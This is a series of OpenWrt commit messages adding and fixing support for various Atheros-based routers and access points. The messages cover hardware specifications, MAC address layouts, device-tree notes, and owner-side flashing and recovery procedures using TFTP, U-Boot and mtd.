10-28 V passive PoE in port 1, 500 mA PoE out on port 5
- 8 user-controllable LEDs:
· 1x power (green)
· 1x user (green)
· 4x LAN status (green)
· 1x WAN status (green)
· 1x PoE power status (red)
See https://mikrotik.com/product/RB951Ui-2nD for more details.
Notes:
The device was already supported in the ar71xx target.
Flashing:
TFTP boot initramfs image and then perform sysupgrade. Follow common
MikroTik procedure as in https://openwrt.org/toh/mikrotik/common.
Signed-off-by: Maciej Krüger <mkg20001@gmail.com>
The MikroTik RB952Ui-5ac2nD (sold as hAP ac lite) is an indoor 2.4Ghz
and 5GHz AP/router with a 2 dBi integrated antenna.
See https://mikrotik.com/product/RB952Ui-5ac2nD for more details.
Specifications:
- SoC: QCA9533
- RAM: 64MB
- Storage: 16MB NOR
- Wireless: QCA9533 802.11b/g/n 2x2 / QCA9887 802.11a/n/ac 2x2
- Ethernet: AR934X switch, 5x 10/100 ports,
10-28 V passive PoE in port 1, 500 mA PoE out on port 5
- 6 user-controllable LEDs:
- 1x user (green)
- 5x port status (green)
Flashing:
TFTP boot initramfs image and then perform sysupgrade. The "Internet"
port (port number 1) must be used to upload the TFTP image, then
connect to any other port to access the OpenWRT system.
Follow common MikroTik procedure as in
https://openwrt.org/toh/mikrotik/common.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
ZTE MF286A and MF286R feature a "power switch override" GPIO in stock
firmware as means to prevent power interruption during firmware update,
especially when used with internal battery.
To ensure that this GPIO is
properly driven as in stock firmware, configure it with userspace GPIO
switch.
It was observed that on some units, the modem would not be
restarted together with the board itself on reboot, this should help
with that as well.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
On GL-AR300M Series GPIO17 described as I2C SDA in Device Tree.
Because of GPIO_OUT_FUNCTION4 register was not initialized on start,
GPIO17 was uncontrollable, it always in high state. According to QCA9531
documentation, default setting of GPIO17 is SYS_RST_L. In order to make
GPIO17 controllable, it should write value 0x00 on bits [15:8] of
GPIO_OUT_FUNCTION4 register, located at 0x1804003C address.
Signed-off-by: Ptilopsis Leucotis <PtilopsisLeucotis@yandex.com>
SoC: Atheros AR7161
RAM: DDR 128 MiB (hynix h5dU5162ETR-E3C)
Flash: SPI-NOR 8 MiB (mx25l6406em2i-12g)
WLAN: 2.4/5 GHz
2.4 GHz: Atheros AR9220
5 GHz: Atheros AR9223
Ethernet: 4x 10/100/1000 Mbps (Atheros AR8021)
LEDs/Keys: 2/2 (Internet + System LED, Mesh button + Reset pin)
UART: RJ45 9600,8N1
Power: 12 VDC, 1.0 A
Installation instruction:
0. Make sure you have latest original firmware (3.7.11.4)
1. Connect to the Serial Port with a Serial Cable RJ45 to DB9/RS232
(9600,8N1)
screen /dev/ttyUSB0 9600,cs8,-parenb,-cstopb,-hupcl,-crtscts,clocal
2. Configure your IP-Address to 192.168.1.42
3. When device boots hit spacebar
3. Configure the device for tftpboot
setenv ipaddr 192.168.1.1
setenv serverip 192.168.1.42
saveenv
4. Reset the device
reset
5. Hit again the spacebar
6. Now load the image via tftp:
tftpboot 0x81000000 INITRAMFS.bin
7. Boot the image:
bootm 0x81000000
8. Copy the squashfs-image to the device.
9. Do a sysupgrade.
https://openwrt.org/toh/netgear/wndap360
The device should be converted from kmod-owl-loader to nvmem-cells in the
future. Nvmem cells were not working. Maybe ATH9K_PCI_NO_EEPROM is missing.
That is why this commit is still using kmod-owl-loader. In the future
the device tree may look like this:
&ath9k0 {
nvmem-cells = <&macaddr_art_120c>, <&cal_art_1000>;
nvmem-cell-names = "mac-address", "calibration";
};
&ath9k1 {
nvmem-cells = <&macaddr_art_520c>, <&cal_art_5000>;
nvmem-cell-names = "mac-address", "calibration";
};
&art {
...
cal_art_1000: cal@1000 {
reg = <0x1000 0xeb8>;
};
cal_art_5000: cal@5000 {
reg = <0x5000 0xeb8>;
};
};
Signed-off-by: Nick Hainke <vincent@systemli.org>
Add USB power control in DTS for GL.iNet models:
- AR300M;
- AR300M-Ext;
- AR300M16;
- AR300M16-Ext.
Signed-off-by: PtilopsisLeucotis <PtilopsisLeucotis@yandex.com>
This commit adds support for the TP-Link Deco M4R (it can also be M4,
TP-Link uses both names) v1 and v2. It is similar hardware-wise to the
Archer C6 v2. Software-wise it is very different. V2 has a bit different
layout from V1 but the chips are the same and the OEM firmware is the same
for both versions.
Specifications:
SoC: QCA9563-AL3A
RAM: Zentel A3R1GE40JBF
Wireless 2.4GHz: QCA9563-AL3A (main SoC)
Wireless 5GHz: QCA9886
Ethernet Switch: QCA8337N-AL3C
Flash: 16 MB SPI NOR
Flashing:
The device's bootloader only accepts images that are signed using
TP-Link's RSA key, therefore this way of flashing is not possible. The
device has a web GUI that should be accessible after setting up the device
using the app (it requires the app to set it up first because the web GUI
asks for the TP-Link account password) but for unknown reasons, the web
GUI also refuses custom images.
There is a debug firmware image that has been shared on the device's
OpenWrt forum thread that has telnet unlocked, which the bootloader will
accept because it is signed. It can be used to transfer an OpenWrt image
file over to the device and then be used with mtd to flash the device.
Pre-requisites:
- Debug firmware.
- A way of transferring the file to the router, you can use an FTP server
as an example.
- Set a static IP of 192.168.0.2/255.255.255.0 on your computer.
- OpenWrt image.
Installation:
- Unplug your router and turn it upside down. Using a long and thin object
like a SIM unlock tool, press and hold the reset button on the router and
replug it. Keep holding it until the LED flashes yellow.
- Open 192.168.0.1. You should see the bootloader recovery's webpage.
Choose the debug firmware that you downloaded and flash it. Wait until the
router reboots (at this stage you can remove the static IP).
- Open a terminal window and connect to the router via telnet (the primary
router should have a 192.168.0.1 IP address, secondary routers are
different).
- Transfer the file over to the router, you can use curl to download it
from the internet (use the insecure flag and make sure your source accepts
insecure downloads) or from an FTP server.
- The router's default mtd partition scheme has kernel and rootfs
separated. We can use dd to split the OpenWrt image file and flash it with
mtd:
dd if=openwrt.bin of=kernel.bin skip=0 count=8192 bs=256
dd if=openwrt.bin of=rootfs.bin skip=8192 bs=256
- Once the images are ready, you have to flash the device using mtd
(make sure to flash the correct partitions or you may be left with a
hard bricked router):
mtd write kernel.bin kernel
mtd write rootfs.bin rootfs
- Flashing is done, reboot the device now.
Signed-off-by: Foica David <superh552@gmail.com>
When adding support to the router's built-in modem, this required
package was omitted, because it was already enabled in the image
configuration in use for testing, and this went unnoticed.
In result, the modem still isn't fully supported in official images.
As it is the primary WAN interface, add the missing package.
Fixes: e02fb42c53 ("comgt: support ZTE MF286R modem")
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
The MikroTik RouterBOARD wAP-2nd (sold as wAP) is a small
2.4 GHz 802.11b/g/n PoE-capable AP.
Specifications:
- SoC: Qualcomm Atheros QCA9533
- Flash: 16 MB (SPI)
- RAM: 64 MB
- Ethernet: 1x 10/100 Mbps (PoE in)
- WiFi: AR9531 2T2R 2.4 GHz (SoC)
- 3x green LEDs (1x lan, 1x wlan, 1x user)
See https://mikrotik.com/product/RBwAP2nD for more info.
Flashing:
TFTP boot initramfs image and then perform sysupgrade. Follow common
MikroTik procedure as in https://openwrt.org/toh/mikrotik/common.
Note: following 781d4bfb39
The network setup avoids using the integrated switch and connects the
single Ethernet port directly. This way, link speed (10/100 Mbps) is
properly reported by eth0.
Signed-off-by: David Musil <0x444d@protonmail.com>
The Sophos AP100, AP100C, AP55, and AP55C are dual-band 802.11ac access
points based on the Qualcomm QCA9558 SoC. They share PCB designs with
several devices that already have partial or full support, most notably the
Devolo DVL1750i/e.
The AP100 and AP100C are hardware-identical to the AP55 and AP55C, however
the 55 models' ART does not contain calibration data for their third chain
despite it being present on the PCB.
Specifications common to all models:
- Qualcomm QCA9558 SoC @ 720 MHz (MIPS 74Kc Big-endian processor)
- 128 MB RAM
- 16 MB SPI flash
- 1x 10/100/1000 Mbps Ethernet port, 802.3af PoE-in
- Green and Red status LEDs sharing a single external light-pipe
- Reset button on PCB[1]
- Piezo beeper on PCB[2]
- Serial UART header on PCB
- Alternate power supply via 5.5x2.1mm DC jack @ 12 VDC
Unique to AP100 and AP100C:
- 3T3R 2.4GHz 802.11b/g/n via SoC WMAC
- 3T3R 5.8GHz 802.11a/n/ac via QCA9880 (PCI Express)
AP55 and AP55C:
- 2T2R 2.4GHz 802.11b/g/n via SoC WMAC
- 2T2R 5.8GHz 802.11a/n/ac via QCA9880 (PCI Express)
AP100 and AP55:
- External RJ45 serial console port[3]
- USB 2.0 Type A port, power controlled via GPIO 11
Flashing instructions:
This firmware can be flashed either via a compatible Sophos SG or XG
firewall appliance, which does not require disassembling the device, or via
the U-Boot console available on the internal UART header.
To flash via XG appliance:
- Register on Sophos' website for a no-cost Home Use XG firewall license
- Download and install the XG software on a compatible PC or virtual
machine, complete initial appliance setup, and enable SSH console access
- Connect the target AP device to the XG appliance's LAN interface
- Approve the AP from the XG Web UI and wait until it shows as Active
(this can take 3-5 minutes)
- Connect to the XG appliance over SSH and access the Advanced Console
(Menu option 5, then menu option 3)
- Run `sudo awetool` and select the menu option to connect to an AP via
SSH. When prompted to enable SSH on the target AP, select Yes.
- Wait 2-3 minutes, then select the AP from the awetool menu again. This
will connect you to a root shell on the target AP.
- Copy the firmware to /tmp/openwrt.bin on the target AP via SCP/TFTP/etc
- Run `mtd -r write /tmp/openwrt.bin astaro_image`
- When complete, the access point will reboot to OpenWRT.
To flash via U-Boot serial console:
- Configure a TFTP server on your PC, and set IP address 192.168.99.8 with
netmask 255.255.255.0
- Copy the firmware .bin to the TFTP server and rename to 'uImage_AP100C'
- Open the target AP's enclosure and locate the 4-pin 3.3V UART header [4]
- Connect the AP ethernet to your PC's ethernet port
- Connect a terminal to the UART at 115200 8/N/1 as usual
- Power on the AP and press a key to cancel autoboot when prompted
- Run the following commands at the U-Boot console:
- `tftpboot`
- `cp.b $fileaddr 0x9f070000 $filesize`
- `boot`
- The access point will boot to OpenWRT.
MAC addresses as verified by OEM firmware:
use address source
LAN label config 0x201a (label)
2g label + 1 art 0x1002 (also found at config 0x2004)
5g label + 9 art 0x5006
Increments confirmed across three AP55C, two AP55, and one AP100C.
These changes have been tested to function on both current master and
21.02.0 without any obvious issues.
[1] Button is present but does not alter state of any GPIO on SoC
[2] Buzzer and driver circuitry is present on PCB but is not connected to
any GPIO. Shorting an unpopulated resistor next to the driver circuitry
should connect the buzzer to GPIO 4, but this is unconfirmed.
[3] This external RJ45 serial port is disabled in the OEM firmware, but
works in OpenWRT without additional configuration, at least on my
three test units.
[4] On AP100/AP55 models the UART header is accessible after removing
the device's top cover. On AP100C/AP55C models, the PCB must be removed
for access; three screws secure it to the case.
Pin 1 is marked on the silkscreen. Pins from 1-4 are 3.3V, GND, TX, RX
Signed-off-by: Andrew Powers-Holmes <andrew@omnom.net>
This patch adds support for the MikroTik RouterBOARD 962UiGS-5HacT2HnT (hAP ac)
Specifications:
- SoC: QCA9558
- RAM: 128 MB
- Flash: 16 MB SPI
- 2.4GHz WLAN: 3x3:3 802.11n on SoC
- 5GHz WLAN: 3x3:3 802.11ac on QCA9880 connected via PCIe
- Switch: 5x 1000/100/10 on QCA8337 connected via RGMII
- SFP cage: connected via SGMII (tested with genuine & generic GLC-T)
- USB: 1x type A, GPIO power switch
- PoE: Passive input on Ether1, GPIO switched passthrough to Ether5
- Reset button
- "SFP" LED connected to SoC
- Ethernet LEDs connected to QCA8337 switch
- Green WLAN LED connected to QCA9880
Not working:
- Red WLAN LED
Installation:
TFTP boot initramfs image and then perform sysupgrade. Follow common
MikroTik procedure as in https://openwrt.org/toh/mikrotik/common.
Signed-off-by: Ryan Mounce <ryan@mounce.com.au>
The device was added for ar71xx target and dropped during the ath79
transition, mainly because of the ascii mac address stored in bdinfo
partition
Device page, http://wiki.openwrt.org/toh/hiwifi/hc6361
The vendor u-boot image accepts sysupgrade.bin image with specific
requirements, including having squashfs signature "hsqs" at file offset
0x140000. This is not possible now that OpenWrt kernel image is at
least 2MB with the signature at offset 0x240000.
Installation of current build of OpenWrt now requires a bootstrap step
of installing an earlier version first.
- If the vendor u-boot accepts sysupgrade image, hc6361 image of LEDE
release should work
- If the vendor u-boot accepts only verified flashsmt image, install
the one in the above device page. The image is based on Barrier
Breaker
SHA256SUM of the flashsmt image
81b193b95ea5f8e5c30cd62fa9facf275f39233be4fdeed7038f3deed2736156
After the bootstrap step, current build of OpenWrt can be installed
there fine.
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
This is needed for devices with mac address stored in ascii format, e.g.
HiWiFi HC6361 to be ported in the following patch.
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
For some reason useless labels and aliases have been propagated through
copy-paste. Before the issue spreads any further, this patch cleans up
all relevant DTS files to the canonical form, bringing ath79 in line
with other mikrotik platforms (ramips and ipq40xx).
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Specification:
- QCA9533 (650 MHz), 64 or 128MB RAM, 16MB SPI NOR
- 2x 10/100 Mbps Ethernet, with 802.3at PoE support (WAN)
- 2T2R 802.11b/g/n 2.4GHz
Flash instructions:
If your device comes with generic QSDK based firmware, you can login
over telnet (login: root, empty password, default IP: 192.168.188.253),
issue first (important!) 'fw_setenv' command and then perform regular
upgrade, using 'sysupgrade -n -F ...' (you can use 'wget' to download
image to the device, SSH server is not available):
fw_setenv bootcmd "bootm 0x9f050000 || bootm 0x9fe80000"
sysupgrade -n -F openwrt-...-yuncore_...-squashfs-sysupgrade.bin
In case your device runs firmware with YunCore custom GUI, you can use
U-Boot recovery mode:
1. Set a static IP 192.168.0.141/24 on PC and start TFTP server with
'tftp' image renamed to 'upgrade.bin'
2. Power the device with reset button pressed and release it after 5-7
seconds, recovery mode should start downloading image from server
(unfortunately, there is no visible indication that recovery got
enabled - in case of problems check TFTP server logs)
Signed-off-by: Clemens Hopfer <openwrt@wireloss.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Specification:
- QCA9563 (775MHz), 128MB RAM, 16MB SPI NOR
- 2T2R 802.11b/g/n 2.4GHz
- 2T2R 802.11n/ac 5GHz
- 2x 10/100/1000 Mbps Ethernet, with 802.3at PoE support (WAN port)
LED for 5 GHz WLAN is currently not supported as it is connected directly
to the QCA9882 radio chip.
Flash instructions:
If your device comes with generic QSDK based firmware, you can login
over telnet (login: root, empty password, default IP: 192.168.188.253),
issue first (important!) 'fw_setenv' command and then perform regular
upgrade, using 'sysupgrade -n -F ...' (you can use 'wget' to download
image to the device, SSH server is not available):
fw_setenv bootcmd "bootm 0x9f050000 || bootm 0x9fe80000"
sysupgrade -n -F openwrt-...-yuncore_...-squashfs-sysupgrade.bin
In case your device runs firmware with YunCore custom GUI, you can use
U-Boot recovery mode:
1. Set a static IP 192.168.0.141/24 on PC and start TFTP server with
'tftp' image renamed to 'upgrade.bin'
2. Power the device with reset button pressed and release it after 5-7
seconds, recovery mode should start downloading image from server
(unfortunately, there is no visible indication that recovery got
enabled - in case of problems check TFTP server logs)
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
This commit add some enabled symbols to generic config.
LTO is only supported by clang compiler and therefore should
be disabled in the generic config instead of duplicating this
symbol in each target. CONFIG_LTO_NONE do this job.
The second group of symbols is enabled by the options available
in the generic config and is therefore added here:
* CONFIG_AF_UNIX_OOB is selected by CONFIG_NET && CONFIG_UNIX,
* CONFIG_BINARY_PRINTF is selected by CONFIG_BPF_SYSCALL,
* CONFIG_NET_SOCK_MSG is selected by CONFIG_BPF_SYSCALL && CONFIG_NET.
The other symbols are disabled and should be in the generic config.
This commit also removes these symbols from subtargets.
Signed-off-by: Aleksander Jan Bajkowski <olek2@wp.pl>
These devices only have 6MiB available for firmware, which is not
enough for recent release images, so move these to the tiny target.
Note for users sysupgrading from the previous ath79-generic snapshot
images:
The tiny target kernel has a 4Kb flash erase block size instead
of the generic target's 64kb. This means the JFFS2 overlay partition
containing settings must be reformatted with the new block size or else
there will be data corruption.
To do this, backup your settings before upgrading, then during the
sysupgrade, de-select "Keep Settings". On the CLI, use "sysupgrade -n".
If you forget to do this and your system becomes unstable after
upgrading, you can do this to format the partition and recover:
* Reboot
* Press RESET when Power LED blinks during boot to enter Failsafe mode
* SSH to 192.168.1.1
* Run "firstboot" and reboot
Signed-off-by: Joe Mullally <jwmullally@gmail.com>
Tested-by: Robert Högberg <robert.hogberg@gmail.com>
When upgrading a TP-Link Archer C5 v1 from ar71xx to ath79,
the 5ghz radio stops working because the device path changed.
Same has been done for the Archer C7 before:
commit e19506f206 ("ath79: migrate Archer C7 5GHz radio device paths")
Signed-off-by: Jan-Niklas Burfeind <git@aiyionpri.me>
The label has the MAC address of eth0, not the WLAN PHY address. We can
merge the definition back into ar7241_ubnt_unifi.dtsi, as both DTS
derived from it use the same interface for their label MAC addresses
after all.
Signed-off-by: Matthias Schiffer <mschiffer@universe-factory.net>
Add Kernel 5.15 patches + config. This is currently only available for
the generic subtarget, as it was exclusively tested with this target.
Tested-on: Siemens WS-AP3610, Enterasys WS-AP3705i
Signed-off-by: David Bauer <mail@david-bauer.net>
The OCEDO Raccoon had significant packet-loss with cables longer than 50
meter. Disabling EEE restores normal operation.
Also change the ethernet config to reduce loss on sub-1G links.
Signed-off-by: David Bauer <mail@david-bauer.net>
Required to allow sysupgrades from OpenWrt 19.07.
Closes#7071
Fixes: 98fbf2edc0 ("ath79: move TPLINK_HWID/_HWREV to parent for tplink-safeloader")
Tested-by: J. Burfeind <git@aiyionpri.me>
Signed-off-by: Matthias Schiffer <mschiffer@universe-factory.net>
While it hasn't always been clear whether the "AP" is part of the model
name on the Ubiquiti website, we include it for all other pre-AC
variants (AP Pro and the AP Outdoor+). Add it to the original UniFi AP
as well for consistency.
Signed-off-by: Matthias Schiffer <mschiffer@universe-factory.net>
- fix eth0 eth1 sharing same mac so it conforms to the behavior stated
in the original commit and the way it is in vendor firmware :
WAN is label, LAN is label +1 and WLAN is label +2
- add default leds config
- add default network config
Signed-off-by: Pascal Coudurier <coudu@wanadoo.fr>
FCC ID: 2AG6R-AN700APIAC
Araknis AN-700-AP-I-AC is an indoor wireless access point with
1 Gb ethernet port, dual-band wireless,
internal antenna plates, and 802.3at PoE+
this board is a Senao device:
the hardware is equivalent to EnGenius EAP1750
the software is modified Senao SDK which is based on openwrt and uboot
including image checksum verification at boot time,
and a failsafe image that boots if checksum fails
**Specification:**
- QCA9558 SOC MIPS 74kc, 2.4 GHz WMAC, 3x3
- QCA9880 WLAN PCI card, 5 GHz, 3x3, 26dBm
- AR8035-A PHY RGMII GbE with PoE+ IN
- 40 MHz clock
- 16 MB FLASH MX25L12845EMI-10G
- 2x 64 MB RAM NT5TU32M16
- UART console J10, populated, RX shorted to ground
- 4 antennas 5 dBi, internal omni-directional plates
- 4 LEDs power, 2G, 5G, wps
- 1 button reset
NOTE: all 4 gpio controlled LEDS are viewed through the same lightguide
therefore, the power LED is off for default state
**MAC addresses:**
MAC address labeled as ETH
Only one Vendor MAC address in flash at art 0x0
eth0 ETH *:xb art 0x0
phy1 2.4G *:xc ---
phy0 5GHz *:xd ---
**Serial Access:**
the RX line on the board for UART is shorted to ground by resistor R176
therefore it must be removed to use the console
but it is not necessary to remove to view boot log
optionally, R175 can be replaced with a solder bridge short
the resistors R175 and R176 are next to the UART RX pin at J10
**Installation:**
Method 1: Firmware upgrade page:
(if you cannot access the APs webpage)
factory reset with the reset button
connect ethernet to a computer
OEM webpage at 192.168.20.253
username and password 'araknis'
make a new password, login again...
Navigate to 'File Management' page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm
wait about 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fd70000`
wait a minute
connect to ethernet and navigate to
192.168.20.253
Select the factory.bin image and upload
wait about 3 minutes
**Return to OEM:**
Method 1: Serial to load Failsafe webpage (above)
Method 2: delete a checksum from uboot-env
this will make uboot load the failsafe image at next boot
because it will fail the checksum verification of the image
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait a minute
connect to ethernet and navigate to
192.168.20.253
select OEM firmware image and click upgrade
Method 3: backup mtd partitions before upgrade
**TFTP recovery:**
Requires serial console, reset button does nothing
rename initramfs-kernel.bin to '0101A8C0.img'
make available on TFTP server at 192.168.1.101
power board, interrupt boot with serial console
execute `tftpboot` and `bootm 0x81000000`
NOTE: TFTP may not be reliable due to bugged bootloader
set MTU to 600 and try many times
**Format of OEM firmware image:**
The OEM software is built using SDKs from Senao
which is based on a heavily modified version
of Openwrt Kamikaze or Altitude Adjustment.
One of the many modifications is sysupgrade being performed by a custom script.
Images are verified through successful unpackaging, correct filenames
and size requirements for both kernel and rootfs files, and that they
start with the correct magic numbers (first 2 bytes) for the respective headers.
Newer Senao software requires more checks but their script
includes a way to skip them.
The OEM upgrade script is at
/etc/fwupgrade.sh
OKLI kernel loader is required because the OEM software
expects the kernel to be less than 1536k
and the OEM upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
Note on PLL-data cells:
The default PLL register values will not work
because of the external AR8035 switch between
the SOC and the ethernet port.
For QCA955x series, the PLL registers for eth0 and eth1
can be see in the DTSI as 0x28 and 0x48 respectively.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x18050028 1` and `md 0x18050048 1`.
The clock delay required for RGMII can be applied at the PHY side,
using the at803x driver `phy-mode` setting through the DTS.
Therefore, the Ethernet Configuration registers for GMAC0
do not need the bits for RGMII delay on the MAC side.
This is possible due to fixes in at803x driver
since Linux 5.1 and 5.3
Signed-off-by: Michael Pratt <mcpratt@pm.me>
FCC ID: 2AG6R-AN500APIAC
Araknis AN-500-AP-I-AC is an indoor wireless access point with
1 Gb ethernet port, dual-band wireless,
internal antenna plates, and 802.3at PoE+
this board is a Senao device:
the hardware is equivalent to EnGenius EAP1200
the software is modified Senao SDK which is based on openwrt and uboot
including image checksum verification at boot time,
and a failsafe image that boots if checksum fails
**Specification:**
- QCA9557 SOC MIPS 74kc, 2.4 GHz WMAC, 2x2
- QCA9882 WLAN PCI card 168c:003c, 5 GHz, 2x2, 26dBm
- AR8035-A PHY RGMII GbE with PoE+ IN
- 40 MHz clock
- 16 MB FLASH MX25L12845EMI-10G
- 2x 64 MB RAM NT5TU32M16
- UART console J10, populated, RX shorted to ground
- 4 antennas 5 dBi, internal omni-directional plates
- 4 LEDs power, 2G, 5G, wps
- 1 button reset
NOTE: all 4 gpio controlled LEDS are viewed through the same lightguide
therefore, the power LED is off for default state
**MAC addresses:**
MAC address labeled as ETH
Only one Vendor MAC address in flash at art 0x0
eth0 ETH *:e1 art 0x0
phy1 2.4G *:e2 ---
phy0 5GHz *:e3 ---
**Serial Access:**
the RX line on the board for UART is shorted to ground by resistor R176
therefore it must be removed to use the console
but it is not necessary to remove to view boot log
optionally, R175 can be replaced with a solder bridge short
the resistors R175 and R176 are next to the UART RX pin at J10
**Installation:**
Method 1: Firmware upgrade page:
(if you cannot access the APs webpage)
factory reset with the reset button
connect ethernet to a computer
OEM webpage at 192.168.20.253
username and password 'araknis'
make a new password, login again...
Navigate to 'File Management' page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm
wait about 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fd70000`
wait a minute
connect to ethernet and navigate to
192.168.20.253
Select the factory.bin image and upload
wait about 3 minutes
**Return to OEM:**
Method 1: Serial to load Failsafe webpage (above)
Method 2: delete a checksum from uboot-env
this will make uboot load the failsafe image at next boot
because it will fail the checksum verification of the image
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait a minute
connect to ethernet and navigate to
192.168.20.253
select OEM firmware image and click upgrade
Method 3: backup mtd partitions before upgrade
**TFTP recovery:**
Requires serial console, reset button does nothing
rename initramfs-kernel.bin to '0101A8C0.img'
make available on TFTP server at 192.168.1.101
power board, interrupt boot with serial console
execute `tftpboot` and `bootm 0x81000000`
NOTE: TFTP may not be reliable due to bugged bootloader
set MTU to 600 and try many times
**Format of OEM firmware image:**
The OEM software is built using SDKs from Senao
which is based on a heavily modified version
of Openwrt Kamikaze or Altitude Adjustment.
One of the many modifications is sysupgrade being performed by a custom script.
Images are verified through successful unpackaging, correct filenames
and size requirements for both kernel and rootfs files, and that they
start with the correct magic numbers (first 2 bytes) for the respective headers.
Newer Senao software requires more checks but their script
includes a way to skip them.
The OEM upgrade script is at
/etc/fwupgrade.sh
OKLI kernel loader is required because the OEM software
expects the kernel to be less than 1536k
and the OEM upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
Note on PLL-data cells:
The default PLL register values will not work
because of the external AR8035 switch between
the SOC and the ethernet port.
For QCA955x series, the PLL registers for eth0 and eth1
can be see in the DTSI as 0x28 and 0x48 respectively.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x18050028 1` and `md 0x18050048 1`.
The clock delay required for RGMII can be applied at the PHY side,
using the at803x driver `phy-mode` setting through the DTS.
Therefore, the Ethernet Configuration registers for GMAC0
do not need the bits for RGMII delay on the MAC side.
This is possible due to fixes in at803x driver
since Linux 5.1 and 5.3
Signed-off-by: Michael Pratt <mcpratt@pm.me>
FCC ID: U2M-AN300APIN
Araknis AN-300-AP-I-N is an indoor wireless access point with
1 Gb ethernet port, dual-band wireless,
internal antenna plates, and 802.3at PoE+
this board is a Senao device:
the hardware is equivalent to EnGenius EWS310AP
the software is modified Senao SDK which is based on openwrt and uboot
including image checksum verification at boot time,
and a failsafe image that boots if checksum fails
**Specification:**
- AR9344 SOC MIPS 74kc, 2.4 GHz WMAC, 2x2
- AR9382 WLAN PCI on-board 168c:0030, 5 GHz, 2x2
- AR8035-A PHY RGMII GbE with PoE+ IN
- 40 MHz clock
- 16 MB FLASH MX25L12845EMI-10G
- 2x 64 MB RAM 1839ZFG V59C1512164QFJ25
- UART console J10, populated, RX shorted to ground
- 4 antennas 5 dBi, internal omni-directional plates
- 4 LEDs power, 2G, 5G, wps
- 1 button reset
NOTE: all 4 gpio controlled LEDS are viewed through the same lightguide
therefore, the power LED is off for default state
**MAC addresses:**
MAC address labeled as ETH
Only one Vendor MAC address in flash at art 0x0
eth0 ETH *:7d art 0x0
phy1 2.4G *:7e ---
phy0 5GHz *:7f ---
**Serial Access:**
the RX line on the board for UART is shorted to ground by resistor R176
therefore it must be removed to use the console
but it is not necessary to remove to view boot log
optionally, R175 can be replaced with a solder bridge short
the resistors R175 and R176 are next to the UART RX pin at J10
**Installation:**
Method 1: Firmware upgrade page:
(if you cannot access the APs webpage)
factory reset with the reset button
connect ethernet to a computer
OEM webpage at 192.168.20.253
username and password 'araknis'
make a new password, login again...
Navigate to 'File Management' page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm
wait about 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fd70000`
wait a minute
connect to ethernet and navigate to
192.168.20.253
Select the factory.bin image and upload
wait about 3 minutes
**Return to OEM:**
Method 1: Serial to load Failsafe webpage (above)
Method 2: delete a checksum from uboot-env
this will make uboot load the failsafe image at next boot
because it will fail the checksum verification of the image
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait a minute
connect to ethernet and navigate to
192.168.20.253
select OEM firmware image and click upgrade
Method 3: backup mtd partitions before upgrade
**TFTP recovery:**
Requires serial console, reset button does nothing
rename initramfs-kernel.bin to '0101A8C0.img'
make available on TFTP server at 192.168.1.101
power board, interrupt boot with serial console
execute `tftpboot` and `bootm 0x81000000`
NOTE: TFTP may not be reliable due to bugged bootloader
set MTU to 600 and try many times
**Format of OEM firmware image:**
The OEM software is built using SDKs from Senao
which is based on a heavily modified version
of Openwrt Kamikaze or Altitude Adjustment.
One of the many modifications is sysupgrade being performed by a custom script.
Images are verified through successful unpackaging, correct filenames
and size requirements for both kernel and rootfs files, and that they
start with the correct magic numbers (first 2 bytes) for the respective headers.
Newer Senao software requires more checks but their script
includes a way to skip them.
The OEM upgrade script is at
/etc/fwupgrade.sh
OKLI kernel loader is required because the OEM software
expects the kernel to be less than 1536k
and the OEM upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
Note on PLL-data cells:
The default PLL register values will not work
because of the external AR8035 switch between
the SOC and the ethernet port.
For QCA955x series, the PLL registers for eth0 and eth1
can be see in the DTSI as 0x28 and 0x48 respectively.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x18050028 1` and `md 0x18050048 1`.
The clock delay required for RGMII can be applied at the PHY side,
using the at803x driver `phy-mode` setting through the DTS.
Therefore, the Ethernet Configuration registers for GMAC0
do not need the bits for RGMII delay on the MAC side.
This is possible due to fixes in at803x driver
since Linux 5.1 and 5.3
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Some boards with firmware made with Senao SDK based on Linux 3.3
have the following lines in the OEM upgrade script at
/etc/fwupgrade.sh
local append=""
local CONF_TAR="/tmp/sysupgrade.tgz"
[ -f "$CONF_TAR" ] && append="-j $CONF_TAR"
and
\# check FWINFO filename
[ -z $(ls FWINFO* | grep -i ${modelname}) ] && errcode="1"
This addition also prevents needing to factory reset after flashing
for some boards that also have these lines in the script
\# Support downgrade but do default (Smart v2.x.x.x -> senaowrt v1.x.x.x)
[ $(ls FWINFO* | grep -i ${modelname} | cut -d "-" -f4 | cut -c 2) -lt 2 ] && append=""
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Keep labels since OpenWrt userland tooling (get_dt_led) depends on them
to find the LED instances referenced by the led-* aliases.
The label for the amber power LED was removed in 4eefdc7adb.
Signed-off-by: Sven Schwermer <sven@svenschwermer.de>
